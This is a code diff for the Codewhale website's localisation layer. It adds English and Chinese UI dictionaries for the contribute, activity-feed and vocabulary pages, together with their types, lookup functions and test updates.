EN_LEGAL_TERMS,
|
||||
EN_ROADMAP,
|
||||
EN_CONTRIBUTE,
|
||||
fill,
|
||||
getChrome,
|
||||
getDocsGuide,
|
||||
@@ -46,12 +49,15 @@ import {
|
||||
getDocsFleet,
|
||||
getDocsModes,
|
||||
getDocsReview,
|
||||
getDocsVocabulary,
|
||||
getDigest,
|
||||
getFeed,
|
||||
getFaq,
|
||||
getHome,
|
||||
getLegalPrivacy,
|
||||
getLegalTerms,
|
||||
getRoadmap,
|
||||
getContribute,
|
||||
pickText,
|
||||
pickTextLocale,
|
||||
splitToken,
|
||||
@@ -264,12 +270,15 @@ describe("website dictionaries", () => {
|
||||
["docs-auth", getDocsAuth, EN_DOCS_AUTH],
|
||||
["docs-trust", getDocsTrust, EN_DOCS_TRUST],
|
||||
["docs-review", getDocsReview, EN_DOCS_REVIEW],
|
||||
["docs-vocabulary", getDocsVocabulary, EN_DOCS_VOCABULARY],
|
||||
["changelog", getChangelog, EN_CHANGELOG],
|
||||
["legal-terms", getLegalTerms, EN_LEGAL_TERMS],
|
||||
["legal-privacy", getLegalPrivacy, EN_LEGAL_PRIVACY],
|
||||
["digest", getDigest, EN_DIGEST],
|
||||
["feed", getFeed, EN_FEED],
|
||||
["faq", getFaq, EN_FAQ],
|
||||
["roadmap", getRoadmap, EN_ROADMAP],
|
||||
["contribute", getContribute, EN_CONTRIBUTE],
|
||||
] as const) {
|
||||
const enKeys = Object.keys(reference).sort();
|
||||
for (const locale of [...DICTIONARY_LOCALES, "fr", "und"]) {
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
import type { ContributeDict } from "../types";
|
||||
|
||||
/**
|
||||
* English reference dictionary for `app/[locale]/contribute/page.tsx`. Copy
|
||||
* moved verbatim from its `isZh` ternaries. The contribution paths, workflow
|
||||
* steps and review notes are content and stay in the page.
|
||||
*/
|
||||
export const contribute: ContributeDict = {
|
||||
metaTitle: "Contribute · Codewhale",
|
||||
metaDescription:
|
||||
"File issues, improve translations and documentation, and send pull requests to the international Codewhale community.",
|
||||
kicker: "Contribute to an international open-source project",
|
||||
title: "Start with one concrete improvement.",
|
||||
lede: "Codewhale welcomes contributors across countries, languages, platforms, and experience levels. Clear bug reports, reproduction results, documentation corrections, translations, and small complete patches all move the project forward.",
|
||||
fileIssue: "File an issue",
|
||||
browsePulls: "Browse pull requests",
|
||||
fullGuide: "Open the full contributor guide",
|
||||
pathsTitle: "Choose the contribution that fits.",
|
||||
workflowTitle: "From a problem to a reviewable patch.",
|
||||
reviewTitle: "Make the change easy to verify.",
|
||||
reviewScope:
|
||||
"A reviewer needs the problem, the reason for the change, test evidence, and remaining risk. Clear scope usually leads to clearer feedback.",
|
||||
devTitle: "Build and run the relevant checks.",
|
||||
devScope:
|
||||
"The repository uses stable Rust. Run the focused test for your change first, followed by formatting, Clippy, and the workspace suite.",
|
||||
};
|
||||
@@ -4,7 +4,8 @@ import type { DocsShellDict } from "../types";
|
||||
* English reference dictionary for the docs shell: the portal hero in
|
||||
* `app/[locale]/docs/layout.tsx`, the hub metadata, the task/topic search,
|
||||
* the sidebar and breadcrumb chrome, the release-truth band, the contextual
|
||||
* help band that closes every docs page, and the shared page-body chrome.
|
||||
* help band that closes every docs page, the shared page-body chrome, and the
|
||||
* session recording panel.
|
||||
*/
|
||||
export const docsShell: DocsShellDict = {
|
||||
metaTitle: "Docs · Codewhale",
|
||||
@@ -59,4 +60,10 @@ export const docsShell: DocsShellDict = {
|
||||
nextHeading: "Next",
|
||||
noteLabel: "Note:",
|
||||
onThisPage: "On this page",
|
||||
|
||||
mediaPendingNote:
|
||||
"There is no recording yet. When there is, it goes here with captions, a transcript, and an optional GIF download.",
|
||||
mediaPlanLink: "Recording plan and acceptance checklist ↗",
|
||||
mediaGifFallback: "GIF fallback download (no-video environments)",
|
||||
mediaTranscript: "Transcript ↗",
|
||||
};
|
||||
@@ -0,0 +1,26 @@
|
||||
import type { DocsVocabularyDict } from "../types";
|
||||
|
||||
/**
|
||||
* English reference dictionary for `app/[locale]/docs/vocabulary/page.tsx`.
|
||||
* Copy moved verbatim from its `isZh` ternaries. The terms and their
|
||||
* definitions are content and stay in `lib/content/vocabulary.ts`.
|
||||
*/
|
||||
export const docsVocabulary: DocsVocabularyDict = {
|
||||
metaTitle: "Vocabulary · Codewhale Docs",
|
||||
metaDescription:
|
||||
"The exact product nouns: Fleet, Workflow, Lane, Runtime, Advisor, Plan / Work / Operate and permission postures, plus requested→effective reasoning, routing source, and measurement principles.",
|
||||
bodyClassName: "text-ink-soft leading-relaxed",
|
||||
title: "Vocabulary",
|
||||
lead: "These nouns mean the same thing on this site, in the TUI, and in receipts. The nouns themselves are never translated; every definition matches the public fact matrix in the repository verbatim.",
|
||||
executionHeading: "Execution nouns",
|
||||
controlHeading: "Modes and permission postures",
|
||||
controlLead:
|
||||
"Modes (Tab, composer idle) decide the visible interaction; permission postures (Shift+Tab) decide how aggressively tools ask before executing. The two are orthogonal.",
|
||||
routeHeading: "Route identity: provider · model · requested→effective reasoning · source",
|
||||
advisoryHeading: "Advisory role",
|
||||
measurementHeading: "Measurement principles",
|
||||
leaderboardNote:
|
||||
"Benchmark leaderboard: none on this site, and none will appear without route identity and a measurement harness attached.",
|
||||
sourceNote:
|
||||
"Source documents: docs/FLEET.md, docs/MODES.md, docs/public-surface-facts.json · Vocabulary copy lives in web/lib/content/vocabulary.ts; update docs-map.ts when changing.",
|
||||
};
|
||||
@@ -0,0 +1,22 @@
|
||||
import type { FeedDict } from "../types";
|
||||
|
||||
/**
|
||||
* English reference dictionary for `app/[locale]/feed/page.tsx`. Copy moved
|
||||
* verbatim from the page's `isZh` ternaries. The feed items come from GitHub
|
||||
* and are rendered as fetched.
|
||||
*/
|
||||
export const feed: FeedDict = {
|
||||
metaTitle: "Activity · Codewhale",
|
||||
metaDescription:
|
||||
"Live feed of issues, pull requests, and releases mirrored from the Hmbown/CodeWhale GitHub repo.",
|
||||
title: "Activity",
|
||||
titleAside: "动态",
|
||||
titleAsideLang: "zh",
|
||||
lede: "Follow issues and pull requests from {repo}, mirrored here and refreshed every ten minutes. Select any item to open it on GitHub.",
|
||||
pulls: "Pull requests",
|
||||
issues: "Issues",
|
||||
shownCount: "{count} shown",
|
||||
openIssue: "Open an issue",
|
||||
openPull: "Open a pull request",
|
||||
startDiscussion: "Start a discussion",
|
||||
};
|
||||
@@ -15,6 +15,7 @@
|
||||
import type {
|
||||
ChangelogDict,
|
||||
ChromeDict,
|
||||
ContributeDict,
|
||||
ComputerUseDict,
|
||||
DocsAuthDict,
|
||||
DocsComputersDict,
|
||||
@@ -28,6 +29,7 @@ import type {
|
||||
DocsShellDict,
|
||||
DocsModesDict,
|
||||
DocsReviewDict,
|
||||
DocsVocabularyDict,
|
||||
DocsSubagentsDict,
|
||||
DocsTroubleshootingDict,
|
||||
DocsTrustDict,
|
||||
@@ -35,6 +37,7 @@ import type {
|
||||
DocsWorkDict,
|
||||
HomeDict,
|
||||
DigestDict,
|
||||
FeedDict,
|
||||
FaqDict,
|
||||
LegalPrivacyDict,
|
||||
LegalTermsDict,
|
||||
@@ -77,6 +80,8 @@ import { docsTrust as enDocsTrust } from "./en/docs-trust";
|
||||
import { docsTrust as zhDocsTrust } from "./zh/docs-trust";
|
||||
import { docsReview as enDocsReview } from "./en/docs-review";
|
||||
import { docsReview as zhDocsReview } from "./zh/docs-review";
|
||||
import { docsVocabulary as enDocsVocabulary } from "./en/docs-vocabulary";
|
||||
import { docsVocabulary as zhDocsVocabulary } from "./zh/docs-vocabulary";
|
||||
import { computerUse as enComputerUse } from "./en/computer-use";
|
||||
import { computerUse as zhComputerUse } from "./zh/computer-use";
|
||||
import { computerUse as jaComputerUse } from "./ja/computer-use";
|
||||
@@ -105,10 +110,14 @@ import { legalPrivacy as enLegalPrivacy } from "./en/legal-privacy";
|
||||
import { legalPrivacy as zhLegalPrivacy } from "./zh/legal-privacy";
|
||||
import { digest as enDigest } from "./en/digest";
|
||||
import { digest as zhDigest } from "./zh/digest";
|
||||
import { feed as enFeed } from "./en/feed";
|
||||
import { feed as zhFeed } from "./zh/feed";
|
||||
import { faq as enFaq } from "./en/faq";
|
||||
import { faq as zhFaq } from "./zh/faq";
|
||||
import { roadmap as enRoadmap } from "./en/roadmap";
|
||||
import { roadmap as zhRoadmap } from "./zh/roadmap";
|
||||
import { contribute as enContribute } from "./en/contribute";
|
||||
import { contribute as zhContribute } from "./zh/contribute";
|
||||
import { chrome as zhChrome } from "./zh/chrome";
|
||||
import { home as zhHome } from "./zh/home";
|
||||
import { chrome as jaChrome } from "./ja/chrome";
|
||||
@@ -298,11 +307,15 @@ const DOCS_REVIEW: Record<string, DocsReviewDict> = {
|
||||
zh: zhDocsReview,
|
||||
};
|
||||
|
||||
const DOCS_VOCABULARY: Record<string, DocsVocabularyDict> = {
|
||||
zh: zhDocsVocabulary,
|
||||
};
|
||||
|
||||
/**
|
||||
* Shared surface states, the changelog page, the two legal pages, the digest
|
||||
* page, the FAQ and the roadmap follow the same optional per-locale rule as
|
||||
* the docs page dictionaries: English is the reference, every other locale
|
||||
* falls back to it at lookup time.
|
||||
* and feed pages, the FAQ, the roadmap and the contribute page follow the same
|
||||
* optional per-locale rule as the docs page dictionaries: English is the
|
||||
* reference, every other locale falls back to it at lookup time.
|
||||
*/
|
||||
const STATES: Record<string, StatesDict> = {
|
||||
zh: zhStates,
|
||||
@@ -324,6 +337,10 @@ const DIGEST: Record<string, DigestDict> = {
|
||||
zh: zhDigest,
|
||||
};
|
||||
|
||||
const FEED: Record<string, FeedDict> = {
|
||||
zh: zhFeed,
|
||||
};
|
||||
|
||||
const FAQ: Record<string, FaqDict> = {
|
||||
zh: zhFaq,
|
||||
};
|
||||
@@ -332,6 +349,10 @@ const ROADMAP: Record<string, RoadmapDict> = {
|
||||
zh: zhRoadmap,
|
||||
};
|
||||
|
||||
const CONTRIBUTE: Record<string, ContributeDict> = {
|
||||
zh: zhContribute,
|
||||
};
|
||||
|
||||
export function getChrome(locale: string): ChromeDict {
|
||||
return CHROME[locale] ?? enChrome;
|
||||
}
|
||||
@@ -408,6 +429,10 @@ export function getDocsReview(locale: string): DocsReviewDict {
|
||||
return DOCS_REVIEW[locale] ?? enDocsReview;
|
||||
}
|
||||
|
||||
export function getDocsVocabulary(locale: string): DocsVocabularyDict {
|
||||
return DOCS_VOCABULARY[locale] ?? enDocsVocabulary;
|
||||
}
|
||||
|
||||
export function getComputerUse(locale: string): ComputerUseDict {
|
||||
return COMPUTER_USE[locale] ?? enComputerUse;
|
||||
}
|
||||
@@ -432,6 +457,10 @@ export function getDigest(locale: string): DigestDict {
|
||||
return DIGEST[locale] ?? enDigest;
|
||||
}
|
||||
|
||||
export function getFeed(locale: string): FeedDict {
|
||||
return FEED[locale] ?? enFeed;
|
||||
}
|
||||
|
||||
export function getFaq(locale: string): FaqDict {
|
||||
return FAQ[locale] ?? enFaq;
|
||||
}
|
||||
@@ -440,6 +469,10 @@ export function getRoadmap(locale: string): RoadmapDict {
|
||||
return ROADMAP[locale] ?? enRoadmap;
|
||||
}
|
||||
|
||||
export function getContribute(locale: string): ContributeDict {
|
||||
return CONTRIBUTE[locale] ?? enContribute;
|
||||
}
|
||||
|
||||
/**
|
||||
* Select one side of a legacy `{ en, zh }` content pair by locale. This is
|
||||
* the transitional bridge for `web/lib/content/` modules that still carry
|
||||
@@ -476,14 +509,17 @@ export const EN_DOCS_COMPUTERS = enDocsComputers;
|
||||
export const EN_DOCS_AUTH = enDocsAuth;
|
||||
export const EN_DOCS_TRUST = enDocsTrust;
|
||||
export const EN_DOCS_REVIEW = enDocsReview;
|
||||
export const EN_DOCS_VOCABULARY = enDocsVocabulary;
|
||||
export const EN_COMPUTER_USE = enComputerUse;
|
||||
export const EN_STATES = enStates;
|
||||
export const EN_CHANGELOG = enChangelog;
|
||||
export const EN_LEGAL_TERMS = enLegalTerms;
|
||||
export const EN_LEGAL_PRIVACY = enLegalPrivacy;
|
||||
export const EN_DIGEST = enDigest;
|
||||
export const EN_FEED = enFeed;
|
||||
export const EN_FAQ = enFaq;
|
||||
export const EN_ROADMAP = enRoadmap;
|
||||
export const EN_CONTRIBUTE = enContribute;
|
||||
|
||||
/** Interpolate `{name}` tokens in a dictionary template. Unknown tokens are
|
||||
* left intact so a template/variable drift is visible in review, not silent. */
|
||||
|
||||
@@ -305,6 +305,13 @@ export interface DocsShellDict {
|
||||
noteLabel: string;
|
||||
/** Accessible name of a page's table of contents. */
|
||||
onThisPage: string;
|
||||
|
||||
// --- session recording panel (components/session-media.tsx) ---
|
||||
/** Shown in place of a recording that has not been made yet. */
|
||||
mediaPendingNote: string;
|
||||
mediaPlanLink: string;
|
||||
mediaGifFallback: string;
|
||||
mediaTranscript: string;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -470,6 +477,27 @@ export interface DigestDict {
|
||||
lead: string;
|
||||
}
|
||||
|
||||
/** `app/[locale]/feed/page.tsx`. */
|
||||
export interface FeedDict {
|
||||
metaTitle: string;
|
||||
metaDescription: string;
|
||||
/** Page H1. */
|
||||
title: string;
|
||||
/** The H1 again in the other script, set beside it (the bilingual Han title). */
|
||||
titleAside: string;
|
||||
/** BCP 47 language of `titleAside`. */
|
||||
titleAsideLang: string;
|
||||
/** `{repo}` is where the page typesets the repository link. */
|
||||
lede: string;
|
||||
pulls: string;
|
||||
issues: string;
|
||||
/** Items in a column; `{count}` is filled at render time. */
|
||||
shownCount: string;
|
||||
openIssue: string;
|
||||
openPull: string;
|
||||
startDiscussion: string;
|
||||
}
|
||||
|
||||
/** `app/[locale]/faq/page.tsx` and its `components/faq-search.tsx`. */
|
||||
export interface FaqDict {
|
||||
metaTitle: string;
|
||||
@@ -519,6 +547,45 @@ export interface RoadmapDict {
|
||||
pullsDetail: string;
|
||||
}
|
||||
|
||||
/** `app/[locale]/docs/vocabulary/page.tsx`. */
|
||||
export interface DocsVocabularyDict {
|
||||
metaTitle: string;
|
||||
metaDescription: string;
|
||||
/** Classes on every body paragraph; zh loosens leading and tracking. */
|
||||
bodyClassName: string;
|
||||
/** Page H1. */
|
||||
title: string;
|
||||
lead: string;
|
||||
executionHeading: string;
|
||||
controlHeading: string;
|
||||
controlLead: string;
|
||||
routeHeading: string;
|
||||
advisoryHeading: string;
|
||||
measurementHeading: string;
|
||||
leaderboardNote: string;
|
||||
/** Maintainer pointer, carried in a hidden `data-source-note`. */
|
||||
sourceNote: string;
|
||||
}
|
||||
|
||||
/** `app/[locale]/contribute/page.tsx`. */
|
||||
export interface ContributeDict {
|
||||
metaTitle: string;
|
||||
metaDescription: string;
|
||||
kicker: string;
|
||||
/** Page H1. */
|
||||
title: string;
|
||||
lede: string;
|
||||
fileIssue: string;
|
||||
browsePulls: string;
|
||||
fullGuide: string;
|
||||
pathsTitle: string;
|
||||
workflowTitle: string;
|
||||
reviewTitle: string;
|
||||
reviewScope: string;
|
||||
devTitle: string;
|
||||
devScope: string;
|
||||
}
|
||||
|
||||
export type DocsHooksDict = DocsPageDict;
|
||||
|
||||
export type DocsTroubleshootingDict = DocsPageDict;
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
import type { ContributeDict } from "../types";
|
||||
|
||||
/** Chinese dictionary for `app/[locale]/contribute/page.tsx`. */
|
||||
export const contribute: ContributeDict = {
|
||||
metaTitle: "参与贡献 · Codewhale",
|
||||
metaDescription: "提交 issue、改进翻译和文档、发送 pull request,参与 Codewhale 国际开源社区。",
|
||||
kicker: "参与国际开源社区",
|
||||
title: "从一个具体的改进开始。",
|
||||
lede: "Codewhale 欢迎来自不同国家、语言、平台和经验水平的贡献者。清楚的 bug 报告、复现结果、文档修正、翻译和小而完整的代码补丁都会直接帮助项目。",
|
||||
fileIssue: "提交 issue",
|
||||
browsePulls: "查看 pull requests",
|
||||
fullGuide: "打开完整贡献指南",
|
||||
pathsTitle: "选择适合你的贡献方式。",
|
||||
workflowTitle: "从问题到可审查的补丁。",
|
||||
reviewTitle: "让修改容易验证。",
|
||||
reviewScope: "审查者需要看到问题、修改理由、测试证据和剩余风险。范围越清楚,反馈通常越快。",
|
||||
devTitle: "构建并运行相关检查。",
|
||||
devScope: "仓库使用 stable Rust。先运行你所修改部分的测试,再运行格式检查、Clippy 和完整工作区测试。",
|
||||
};
|
||||
@@ -3,8 +3,8 @@ import type { DocsShellDict } from "../types";
|
||||
/**
|
||||
* Simplified-Chinese dictionary for the docs shell: portal hero, hub
|
||||
* metadata, task/topic search, sidebar and breadcrumb chrome, the
|
||||
* release-truth band, the contextual help band on every docs page, and the
|
||||
* shared page-body chrome.
|
||||
* release-truth band, the contextual help band on every docs page, the
|
||||
* shared page-body chrome, and the session recording panel.
|
||||
*/
|
||||
export const docsShell: DocsShellDict = {
|
||||
metaTitle: "文档 · Codewhale",
|
||||
@@ -54,4 +54,9 @@ export const docsShell: DocsShellDict = {
|
||||
nextHeading: "下一步",
|
||||
noteLabel: "注意:",
|
||||
onThisPage: "本页内容",
|
||||
|
||||
mediaPendingNote: "还没有录像。录好之后会放在这里,附字幕、文字稿和可选的 GIF 下载。",
|
||||
mediaPlanLink: "录制计划与验收清单 ↗",
|
||||
mediaGifFallback: "GIF 下载回退(无视频环境)",
|
||||
mediaTranscript: "文字稿 ↗",
|
||||
};
|
||||
@@ -0,0 +1,21 @@
|
||||
import type { DocsVocabularyDict } from "../types";
|
||||
|
||||
/** Chinese dictionary for `app/[locale]/docs/vocabulary/page.tsx`. */
|
||||
export const docsVocabulary: DocsVocabularyDict = {
|
||||
metaTitle: "产品名词 · Codewhale 文档",
|
||||
metaDescription:
|
||||
"确切的产品名词:Fleet、Workflow、Lane、Runtime、Advisor,Plan / Work / Operate 与权限姿态,以及请求→实际思考档位、路由来源与测量原则。",
|
||||
bodyClassName: "text-ink-soft leading-[1.9] tracking-wide",
|
||||
title: "产品名词",
|
||||
lead: "这些名词在全站、TUI 和收据里含义完全一致。名词本身不翻译;每条定义都与仓库中的公共事实矩阵逐字对应。",
|
||||
executionHeading: "执行名词",
|
||||
controlHeading: "模式与权限姿态",
|
||||
controlLead:
|
||||
"模式(Tab 循环,输入框空闲时)决定可见的交互方式;权限姿态(Shift+Tab 循环)决定工具执行前询问的激进程度。两者正交。",
|
||||
routeHeading: "路由身份:provider · 模型 · 请求→实际思考档位 · 来源",
|
||||
advisoryHeading: "咨询角色",
|
||||
measurementHeading: "测量原则",
|
||||
leaderboardNote: "基准排行榜:本站没有,也不会在没有路由身份与测量工具链的情况下出现。",
|
||||
sourceNote:
|
||||
"来源文档:docs/FLEET.md, docs/MODES.md, docs/public-surface-facts.json · 名词文案来自 web/lib/content/vocabulary.ts;更新时请同步修改 docs-map.ts。",
|
||||
};
|
||||
@@ -0,0 +1,17 @@
|
||||
import type { FeedDict } from "../types";
|
||||
|
||||
/** Chinese dictionary for `app/[locale]/feed/page.tsx`. */
|
||||
export const feed: FeedDict = {
|
||||
metaTitle: "动态 · Codewhale",
|
||||
metaDescription: "来自 Hmbown/CodeWhale GitHub 仓库的议题、合并请求和发布的实时动态。",
|
||||
title: "动态",
|
||||
titleAside: "Activity",
|
||||
titleAsideLang: "en",
|
||||
lede: "来自 {repo} 的议题与合并请求镜像,每十分钟刷新一次。点击任意条目跳转至 GitHub。",
|
||||
pulls: "合并请求",
|
||||
issues: "议题",
|
||||
shownCount: "{count} 条",
|
||||
openIssue: "提交议题",
|
||||
openPull: "提交合并请求",
|
||||
startDiscussion: "发起讨论",
|
||||
};
|
||||
@@ -7,7 +7,7 @@ const MIGRATION_HOME = join("lib", "i18n");
|
||||
// One-way ceiling (#5519): the isZh migration converges or holds, never
|
||||
// regresses. To lower the number: migrate branches into lib/i18n, then set
|
||||
// CEILING to the new count reported by this test.
|
||||
const CEILING = 10;
|
||||
const CEILING = 8;
|
||||
|
||||
function walk(dir: string, out: string[] = []): string[] {
|
||||
for (const entry of readdirSync(dir)) {
|
||||
|
||||
@@ -30,6 +30,7 @@ import {
|
||||
type MediaAsset,
|
||||
} from "./media-manifest";
|
||||
import { ALL_LOCALES } from "./i18n/config";
|
||||
import { getDocsShell } from "./i18n/dictionaries";
|
||||
|
||||
// Captions are required for locales that ship a complete pack, not for every
|
||||
// routed locale: `locales` also includes `partial` locales, which route with an
|
||||
@@ -162,8 +163,9 @@ describe("session media component contract", () => {
|
||||
expect(component).toContain("session-media-pending");
|
||||
expect(component).toContain("asset.pendingLabel");
|
||||
// Pending copy states plainly that nothing is recorded yet, both locales.
|
||||
expect(component).toContain("There is no recording yet");
|
||||
expect(component).toContain("还没有录像");
|
||||
expect(component).toContain("t.mediaPendingNote");
|
||||
expect(getDocsShell("en").mediaPendingNote).toContain("There is no recording yet");
|
||||
expect(getDocsShell("zh").mediaPendingNote).toContain("还没有录像");
|
||||
});
|
||||
|
||||
it("carries the structural reduced-motion contract: no autoplay, ever", () => {
|
||||
|
||||
@@ -25,7 +25,6 @@ export const RELEASE_CONTRIBUTORS: string[] = [
|
||||
"@aboimpinto",
|
||||
"@dajiaohuang",
|
||||
"@Water-Run",
|
||||
"@SparkofSpike",
|
||||
];
|
||||
|
||||
/**
|
||||
@@ -33,10 +32,10 @@ export const RELEASE_CONTRIBUTORS: string[] = [
|
||||
* one. scripts/check-contributor-credit.py requires them here now; the release
|
||||
* cut moves them into RELEASE_CONTRIBUTORS with that release's changelog block.
|
||||
*/
|
||||
export const UNRELEASED_CONTRIBUTORS: string[] = [];
|
||||
export const UNRELEASED_CONTRIBUTORS: string[] = ["@SparkofSpike"];
|
||||
|
||||
/**
|
||||
* Contributors who helped with reports, reproductions, and verification.
|
||||
* Credit covers the 0.10.1 reports recorded in docs/CONTRIBUTORS.md.
|
||||
*/
|
||||
export const RELEASE_HELPERS: string[] = ["@BX166"];
|
||||
export const RELEASE_HELPERS: string[] = ["@BX166", "@cenab"];
|
||||
@@ -42,13 +42,16 @@ const OPTIONAL_FILES = [
|
||||
"docs-auth.ts",
|
||||
"docs-trust.ts",
|
||||
"docs-work.ts",
|
||||
"docs-vocabulary.ts",
|
||||
"states.ts",
|
||||
"changelog.ts",
|
||||
"legal-terms.ts",
|
||||
"legal-privacy.ts",
|
||||
"digest.ts",
|
||||
"feed.ts",
|
||||
"faq.ts",
|
||||
"roadmap.ts",
|
||||
"contribute.ts",
|
||||
"computer-use.ts",
|
||||
];
|
||||
|
||||
|
||||
Reference in new issue
Block a user